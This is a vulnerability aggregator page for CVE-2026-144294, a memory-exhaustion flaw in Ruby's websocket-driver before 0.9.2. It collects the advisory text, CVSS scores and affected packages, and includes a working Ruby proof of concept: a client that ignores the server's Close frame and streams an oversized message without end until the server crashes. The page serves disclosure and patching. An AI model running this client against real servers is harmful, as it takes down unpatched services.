CVE-2026-144294
websocket- driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame
- Severity
- 7.5HighNetwork attack, no privileges, no user interactionCVSS 3.1, CVE List
- Exploitation
- Proof of conceptCISA reports one, no source links it
- Exploit chance
- 0.92% in 30 daysPercentile61stEPSS, scored
- Listed fix
0.9.2for websocket-driver From GitHub Advisories3 other affected packages
Overview
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.
CVSS 3.1 vector
Exploitability
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
Impact
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploit chance over time
Scored once so far, on . The trend appears after a second daily score.
Affected
Packages 4
| Package | Affected | Fixed |
|---|---|---|
websocket-driverRubyGems | before 0.9.2 | 0.9.2 |
node-websocket-driverDebian:12 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:13 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:14 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
Products 1
Sources
CVE List Score usedCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.
- Record
CVE-2026-144294- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-03
EUVDEUVD-2026-143532CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.
- Record
EUVD-2026-143532- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-03
GitHub AdvisoriesGHSA-xr87-hm5c-qpwpCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame
Summary
A WebSocket server built using websocket-driver can be made to buffer data from the client beyond the limit set by max_length, if it attempts to close the socket but the client ignores this request and continues to send data on a half-open socket.
Details
When a websocket-driver instance calls close(), this has the effect of sending a WebSocket Close frame to the other peer. The peer should respond with its own Close frame and then both parties should close the connection.
If the client ignores the Close frame, and instead continues to send message data, the server will continue to process this data (as it is listening for the client's Close response). However, it does not validate messages as it normally would and fails to reject messages that exceed max_length. This happens even if the server closes the TCP socket, as the client can take advantage of TCP's half-open behaviour to keep sending data.
The client can abuse this to make the server buffer an indefinite volume of data, ignoring the max_length setting, until it runs out of memory and crashes.
This was caused by the driver not enforcing validating on incoming messages. It has been mitigated by making the close() method put the parser in a state where max_length will still be enforced, and a too-large message will result in it failing the connection.
Proof of concept
Given a server configured as follows, which responds to an incoming message by invoking driver.close():
require 'bundler/setup'
require 'eventmachine'
require 'websocket/driver'
require 'permessage_deflate'
module Connection
def initialize
@driver = WebSocket::Driver.server(self, :allow_drafts => true)
@driver.add_extension(PermessageDeflate)
@driver.on(:connect) { |e| @driver.start if WebSocket::Driver.websocket? @driver.env }
@driver.on(:message) { |e| @driver.close }
@driver.on(:close) { |e| close_connection_after_writing }
end
def receive_data(data)
@driver.parse(data)
end
def write(data)
send_data(data)
end
end
EM.run {
EM.start_server('127.0.0.1', 5077, Connection)
}
A client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's close() call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server.
require 'bundler/setup'
require 'eventmachine'
require 'websocket/driver'
require 'permessage_deflate'
module Connection
def connection_completed
send_data(
"GET / HTTP/1.1\r\n" +
"Host: 127.0.0.1\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" +
"Sec-WebSocket-Version: 13\r\n" +
"\r\n"
)
@stage = 0
end
def receive_data(data)
case @stage
when 0 then
# masked text frame, FIN = 1, payload 'a' -> server replies with a Close frame
send_data([0x81, 0x81, 0, 0, 0, 0, 0x61].pack('C*'))
@stage = 1
when 1 then
# ignore Close frame
# masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1
send_data([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0].pack('C*'))
@stage = 2
EM.add_periodic_timer(0.1) do
chunk = "\x00" * (1 << 20)
send_data(chunk)
end
end
end
end
EM.run {
uri = URI.parse('http://127.0.0.1:5077/')
EM.connect(uri.host, uri.port, Connection)
}
When this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable.
Impact
After a server calls driver.close(), an unauthenticated client that ignores the Close frame can make the server buffer unlimited data until it runs out of memory.
- Record
GHSA-xr87-hm5c-qpwp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-04
NVDCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.
- Record
CVE-2026-144294- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-03
OSVCVSS 3.17.5
websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.
- Record
CVE-2026-144294- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-12-04
OSVDEBIAN-CVE-2026-144294CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.9.2, after a server calls close(), the closing parser state can continue accepting message data from a client that ignores the Close frame without enforcing max_length. A client can exploit a half-open TCP connection to send an oversized message while the server waits for the peer's Close response, causing unbounded buffering and an unauthenticated remote server crash. This issue is fixed in version 0.9.2.
- Record
DEBIAN-CVE-2026-144294- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-04
History
Recorded by Every CVE
| Day | Changed | Sources |
|---|---|---|
| Affected packages, key facts, references | GitHub Advisories, OSV | |
| Affected packages, other IDs, references | OSV | |
| Other IDs, published date | EUVD, NVD | |
| Other IDs, references | OSV | |
| Key facts, references | CVE List, NVD | |
| First indexed | CVE List |
Upstream dates may differ.
References
github.com/faye/websocket-driver-ruby/security/advisories/GHSA-xr87-hm5c-qpwp
github.com/faye/websocket-driver-ruby/commit/58328fb0c78b733060a59f8d02bbd9b4210b26e3
github.com/faye/websocket-driver-ruby/releases/tag/0.9.2
nvd.nist.gov/vuln/detail/CVE-2026-144294
github.com/advisories/GHSA-xr87-hm5c-qpwp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144294.json
security-tracker.debian.org/tracker/CVE-2026-144294